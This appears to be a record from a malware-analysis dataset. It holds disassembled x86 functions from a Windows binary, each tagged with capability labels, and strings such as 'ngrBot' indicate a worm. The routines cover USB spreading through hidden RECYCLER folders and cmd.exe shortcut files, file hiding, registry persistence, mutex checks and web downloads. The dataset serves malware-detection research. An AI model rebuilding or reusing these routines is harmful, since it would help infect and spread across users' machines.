joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1eea310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.01ef0f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x1ef13ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.30e41aa1
call edi
push eax
push str.30e41aa1
call fcn.01ee1e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x1ef2a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.30e41aa1
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.30e41aa1
push eax
call fcn.01ee1440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.01ee2440
push 0x1f2ac34
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1eea473
push 0x1f2ac34
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f2ac34
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1eea690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x1eea6ed
mov esp, ebp
pop ebp
ret
push str.Internet_Exploreriexplore.exe
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.01ee35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.01ee35f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x1eea75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x1eea762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret

Function at 0x1eea990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.01ee35f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.01ee35f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.01ee68b0
test eax, eax
jne 0x1eea9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1eea9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1eeaa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x1f2b860]
test esi, esi
jne 0x1eeaa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x1f2b860], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x1eeaa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x1eeaaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1eeaadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x1eeaa9a
cmp eax, 0x12b
ja 0x1eeaa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x1eeaa9a
mov dword [esi], edi
mov dword [0x1f2b85c], edi
mov dword [0x1f2b858], edi
mov dword [0x1f2b854], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x1f2b85c], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x1f2b854], 0
jne 0x1eeab41
mov eax, dword [0x1f2b85c]
mov dword [0x1f2b854], eax
jmp 0x1eeab57
mov eax, dword [0x1f2b858]
mov ecx, dword [0x1f2b85c]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x1f2b85c]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x1f2b858], eax
call edi
mov ecx, dword [0x1f2b85c]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x1eeab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x1f2b854]
xor esi, esi
xor ecx, ecx
mov dword [0x1f2b85c], eax
test ecx, ecx
je 0x1eeabb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x1f2b85c]
add esp, 4
test eax, eax
je 0x1eeabe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.01ee3640
mov eax, dword [0x1f2b85c]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x1eeab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1eeb300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0x1eeb37b
cmp dword [ebp + 8], esi
je 0x1eeb370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0x1ef2bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1eeb365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x1eeb3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.30e41aa1
call ebx
test eax, eax
jbe 0x1eeb3f6
mov edi, edi
movsx eax, byte [esi + str.30e41aa1]
add dword [ebp - 4], eax
push str.30e41aa1
inc esi
call ebx
cmp esi, eax
jb 0x1eeb3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0x1eeb467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1eed6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1f2a294]
sub esp, 8
test eax, eax
je 0x1eed6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0x1eed703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1eed759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1eed710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x1eed74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1eeee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0x1ef3614
push 1
push 0
push 0x1ef3634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1eeefdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1ef2c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x1ef3624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0x1eeefcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push str..lnk
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1eeefe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.01ef0f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push str..lnk
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0x1eef11b
push 0x1ef13d8
push esi
call edi
test eax, eax
je 0x1eef11b
push 0x1ef2fcc
push esi
call edi
test eax, eax
je 0x1eef11b
cmp dword [ebp + 0x10], 0
je 0x1eef07f
test bl, 0x10
je 0x1eef11b
cmp dword [ebp + 0x14], 0
je 0x1eef10f
push str.RECYCLER
push esi
call edi
test eax, eax
je 0x1eef11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0x1eef11b
test edi, edi
je 0x1eef11b
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push str.__windir__explorer.exe___cd___s
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push str._windir__system32cmd.exe
call fcn.01eeee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1eef130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0x1ef2fe0
push eax
call fcn.01eeedf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x1eef1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push 0x1ef2fd8
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.01eeefe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1eef29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push str.RECYCLER
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x1eef285
lea ecx, [ebp - 0x21c]
push str..inf
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x1eef285
lea edx, [ebp - 0x21c]
push edx
push esi
push 0x1ef2fd8
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.01eeefe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1eef220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1eef2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.01ee3810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x1eef2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1eef375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1eef375
cmp dword [ebp - 0x3f8], 7
jne 0x1eef375
mov dword [ebp - 4], 1
push edi
call fcn.01ee37f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1eef9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x1eefa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.01ee24e0
mov al, byte [esi]
add esp, 8
push 0x1ef3040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.01eef2b0
add esp, 4
test eax, eax
je 0x1eefa80
lea eax, [ebp - 4]
push eax
call fcn.01eef430
add esp, 4
test eax, eax
je 0x1eefa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x1eefa80
cmp byte [esi], cl
jne 0x1eefa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ef0910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.01eea5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x1f2a70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1ef09cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.01ee2440
lea edx, [ebp - 8]
push edx
call fcn.01eef2b0
add esp, 4
test eax, eax
je 0x1ef09cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x1f2b500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.01ee3870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.01ee3870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49IlzIyLjj6m
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x1ef0a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x1ef0a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.30e41aa1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.30e41aa1
call fcn.01ee1e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.01ee4d00
add esp, 0x1c
test eax, eax
jne 0x1ef0a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.01ee73e0
add esp, 8
cmp eax, 1
jne 0x1ef0a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.01ee7330
push 0
call fcn.01eeb300
add esp, 0xc
mov esi, eax
call fcn.01ee6850
push 0x208
push 0x1f2afb0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.exe
push 0x1f2ada0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x1f2ac50
push 0xffffffffffffffff
push 0x1f2ada0
push 0
push 0
call edi
push 0x208
push esi
push 0x1f2b1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x1f2b3e0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x1f2b504], eax
test eax, eax
je 0x1ef0b5f
call fcn.01eea990
push 0x9c4
mov dword [0x1f2b508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x1ef6d28
call fcn.01ee5ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100033d8
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x100033e7
or edx, 0x200
test eax, 0x20000000
je 0x1000341b
test eax, 0x40000000
je 0x10003406
test eax, 0x80000000
je 0x10003401
or edx, 0x40
jmp 0x10003442
or edx, 0x20
jmp 0x10003442
test eax, 0x80000000
je 0x10003415
or edx, 0x80
jmp 0x10003442
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x10003433
test eax, 0x80000000
je 0x1000342e
or edx, 4
jmp 0x10003442
or edx, 2
jmp 0x10003442
test eax, 0x80000000
je 0x1000343f
or edx, 8
jmp 0x10003442
or edx, 1
mov eax, edx
ret